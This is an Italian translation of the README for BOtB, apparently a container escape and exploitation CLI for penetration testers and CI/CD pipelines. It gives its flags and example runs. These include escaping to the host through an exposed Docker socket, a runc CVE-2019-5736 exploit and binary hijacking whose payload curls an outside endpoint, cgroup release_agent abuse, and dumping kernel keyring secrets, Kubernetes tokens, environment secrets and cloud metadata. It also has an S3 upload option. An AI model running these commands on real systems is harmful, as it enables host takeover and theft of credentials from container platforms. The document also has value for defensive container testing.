
Uno strumento di analisi e sfruttamento dei container per pentester e ingegneri.
BOtB è uno strumento di analisi e sfruttamento dei container progettato per essere utilizzato da penetration tester e ingegneri, ed è anche compatibile con le comuni tecnologie CI/CD.
BOtB è uno strumento CLI che permette di:
Per le istruzioni di installazione dai binari, visita la pagina delle release.
go get github.com/brompwnie/botb
Compilazione di BOtB tramite Go:
go build
Compilazione di BOtB tramite Make:
make
BOtB può essere compilato in un binario per la piattaforma target e supporta il seguente utilizzo
./botb-linux-amd64 -h
-aggr string
Attempt to exploit RuncPWN (default "nil")
-always-succeed
Always set BOtB's Exit code to Zero
-autopwn
Attempt to autopwn exposed sockets
-cicd
Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
-config string
Load config from provided yaml file (default "nil")
-endpoints string
Provide a textfile with endpoints to use for test (default "nil")
-find-docker
Attempt to find Dockerd
-find-http
Hunt for Available UNIX Domain Sockets with HTTP
-find-sockets
Hunt for Available UNIX Domain Sockets
-hijack string
Attempt to hijack binaries on host (default "nil")
-k8secrets
Identify and Verify K8's Secrets
-keyMax int
Maximum key id range (default 100000000) and max system value is 999999999 (default 100000000)
-keyMin int
Minimum key id range (default 1) (default 1)
-metadata
Attempt to find metadata services
-path string
Path to Start Scanning for UNIX Domain Sockets (default "/")
-pwn-privileged string
Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil")
-pwnKeyctl
Abuse keyctl syscalls and extract data from Linux Kernel keyrings
-recon
Perform Recon of the Container ENV
-region string
Provide a AWS Region e.g eu-west-2 (default "nil")
-rev-dns string
Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil")
-s3bucket string
Provide a bucket name for S3 Push (default "nil")
-s3push string
Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
-scrape-gcp
Attempt to scrape the GCP metadata service
-verbose
Verbose output
-wordlist string
Provide a wordlist (default "nil")
BOtB può anche essere istruito per caricare le impostazioni da un file YAML tramite il parametro config
#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...
I seguenti esempi di utilizzo restituiranno un codice di uscita > 0 per impostazione predefinita quando viene rilevata un'anomalia; ciò è rappresentato da "echo $?" che mostra il codice di uscita dell'ultimo comando eseguito.
Maggiori informazioni dall'autore originale qui https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/
#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
"KeyId": 13738777,
"Valid": true,
"Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
"Type": "keyring",
"Uid": "0",
"Gid": "0",
"Perms": "3f1b0000",
"String_Content": "\ufffd\ufffd\ufffd\u000e",
"Byte_Content": "wP73Dg==",
"Comments": null,
"Subkeys": [
{
"KeyId": 251133632,
"Valid": true,
"Name": "brompwnie_secret",
"Type": "user",
"Uid": "0",
"Gid": "0",
"Perms": "3f010000",
"String_Content": "thetruthisialsoreallyliketrees",
"Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
"Comments": null,
"Subkeys": null,
"Output": ""
}
],
"Output": ""
}
[+] Finished
#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished
Questo approccio permette di evadere in una TTY interattiva sull'host.
#./bob_linux_amd64 -autopwn=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn: /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ #
Questo approccio non evadere in una TTY sull'host, ma restituisce un codice di uscita > 0 per indicare una fuga dal container riuscita.
#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn: /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished
#echo $?
1
Si noti che affinché questo exploit funzioni, è necessario eseguire un processo nel container target in questo scenario.
#./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1'
[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
[+] Attempting to exploit CVE-2019-5736 with command: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$
1¶m2=$2">/dev/null 2>&1
[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped
[+] Finished
Si noti che questo può essere utilizzato per verificare se entità esterne eseguono comandi all'interno del container. Esempi sono Docker Exec e kubectl cp.
#./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$
1¶m2=$2">/dev/null 2>&1'
[+] Break Out The Box
[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...
[+] Attempting to hijack binaries
[*] Command to be used: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1
[+] Currently hijacking: /bin
[+] Currently hijacking: /sbin
[+] Currently hijacking: /usr/bin
[+] Finished
#./botb-linux-amd64 -find-sockets=true
[+] Break Out The Box
[+] Hunting Down UNIX Domain Sockets from: /
[!] Valid Socket: /var/meh
[+] Finished
#echo $?
1
#./bob_linux_amd64 -find-docker=true
[+] Break Out The Box
[+] Looking for Dockerd
[!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375
[+] Hunting Docker Socks
[!] Valid Docker Socket: /var/meh
[+] Finished
#echo $?
1
Per impostazione predefinita, BOtB cerca i due termini "secret" e "password".
./bob_linux_amd64 -recon=true
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[!] Sensitive keyword found in: /proc/1/environ -> 'PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=0e51200113eaTERM=xtermGOLANG_VERSION=1.12.4GOPATH=/gofoo=secretpasswordHOME=/root'
[!] Sensitive keyword found in: /proc/12/environ -> 'GOLANG_VERSION=1.12.4HOSTNAME=0e51200113eaGOPATH=/goPWD=/app/binHOME=/rootfoo=secretpasswordTERM=xtermSHLVL=1PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=./bob_linux_amd64OLDPWD=/bin'
[!] Sensitive keyword found in: /proc/self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[!] Sensitive keyword found in: /proc/thread-self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[+] Checking ENV Variables for secrets
[!] Sensitive Keyword found in ENV: foo=secretpassword
[+] Finished
#echo $?
1
È possibile fornire una wordlist a BOtB per cercare parole chiave specifiche.
#cat wordlist.txt
moo
# ./bob_linux_amd64 -recon=true -wordlist=wordlist.txt
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[*] Loading entries from: wordlist.txt
[+] Checking ENV Variables for secrets
[*] Loading entries from: wordlist.txt
[+] Finished
# echo $?
0
Per impostazione predefinita, BOtB cerca due endpoint di metadati.
# ./bob_linux_amd64 -metadata=true
[+] Break Out The Box
[*] Attempting to query metadata endpoint: 'http://169.254.169.254/latest/meta-data/'
[*] Attempting to query metadata endpoint: 'http://kubernetes.default.svc/'
[+] Finished
# echo $?
0
A BOtB può anche essere fornita una lista di endpoint da scansionare.
# cat endpoints.txt
https://heroku.com
# ./bob_linux_amd64 -metadata=true -endpointlist=endpoints.txt
[+] Break Out The Box
[*] Loading entries from: endpoints.txt
[*] Attempting to query metadata endpoint: 'https://heroku.com'
[!] Reponse from 'https://heroku.com' -> 200
[+] Finished
# echo $?
1
# ./bob_linux_amd64 -find-http=true
[+] Break Out The Box
[+] Looking for HTTP enabled Sockets
[!] Valid HTTP Socket: /var/run/docker.sock
[+] Finished
# ./botb_linux_amd64 -scrape-gcp=true
[+] Break Out The Box
[+] Attempting to connect to: 169.254.169.254:80
[*] Output->
HTTP/1.0 200 OK
Metadata-Flavor: Google
Content-Type: application/text
Date: Sun, 30 Jun 2019 21:53:41 GMT
Server: Metadata Server for VM
Connection: Close
Content-Length: 21013
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
0.1/meta-data/attached-disks/disks/0/deviceName persistent-disk-0
0.1/meta-data/attached-disks/disks/0/index 0
0.1/meta-data/attached-disks/disks/0/mode READ_WRITE
.....
# ./bob_linux_amd64 -s3push=fileToPush.tar.gz -s3bucket=nameOfS3Bucket -region=eu-west-2
[+] Break Out The Box
[+] Pushing fileToPush.tar.gz -> nameOfS3Bucket
[*] Data uploaded to: https://nameOfS3Bucket.s3.eu-west-2.amazonaws.com/fileToPush.tar.gz
[+] Finished
# ./bob_linux_amd64 -pwn-privileged=hostname
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
root@418fa238e34d:/app# cat /output
docker-desktop
Questo è utile per test CI/CD non bloccanti
# ./bob_linux_amd64 -pwn-privileged=hostname -always-succeed-true
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
# echo $?
0
Esempio di file YAML cfg.yml
payload: id
verbose: false
always-succeed: true
cicd: false
endpointlist: endpoints.txt
wordlist: wordlist.txt
path: /
mode: find-sockets
Eseguire BOtB con il YAML sopra
# ./bob_linux_amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
[+] Looking for UNIX Domain Sockets from: /
[!] Valid Socket: /tmp/thisisnotasocket.mock
[+] Finished
BOtB può essere utilizzato con tecnologie CI/CD che usano i codici di uscita per determinare se i test sono superati o falliti. Di seguito è riportato uno script Shell che esegue due test BOtB e i codici di uscita dei due test vengono utilizzati per impostare l'uscita dello script Shell. Se uno dei due test restituisce un codice di uscita > 0, il test che esegue lo script Shell fallirà.
#!/bin/sh
exitCode=0
echo "[+] Testing UNIX Sockets"
./bob_linux_amd64 -autopwn -cicd=true
exitCode=$?
echo "[+] Testing Env"
./bob_linux_amd64 -recon=true
exitCode=$?
(exit $exitCode)
Lo script sopra non è l'unico modo per usare BOtB con tecnologie CI/CD, ma potrebbe anche essere usato da solo e non avvolto in uno script shell. Un esempio di configurazione YML sarebbe:
version: 2
cicd:
runATest: ./bob_linux_amd64 -autopwn -cicd=true
Di seguito un esempio di configurazione utilizzabile con Heroku CI:
{
"environments": {
"test": {
"scripts": {
"test": "./bob_linux_amd64 -autopwn -cicd=true"
}
}
}
}
Di seguito un esempio di configurazione con Heroku CI ma utilizzando uno script shell wrapper:
{
"environments": {
"test": {
"scripts": {
"test": "./bin/testSocksAndEnv.sh"
}
}
}
}
Per eventuali bug, si prega di inviare un issue. C'è una lunga lista di miglioramenti, ma invia un issue se c'è qualcosa che vorresti vedere aggiunto a BOtB.
Questo strumento non sarebbe possibile senza il contributo di altri nella comunità; di seguito è riportato un elenco di risorse che mi hanno aiutato.
BOtB è stato programmato per essere presentato ai seguenti eventi:
BOtB è concesso in licenza sotto Creative Commons Attribuzione-NonCommerciale-CondividiAlloStessoModo 4.0 Internazionale (http://creativecommons.org/licenses/by-nc-sa/4.0).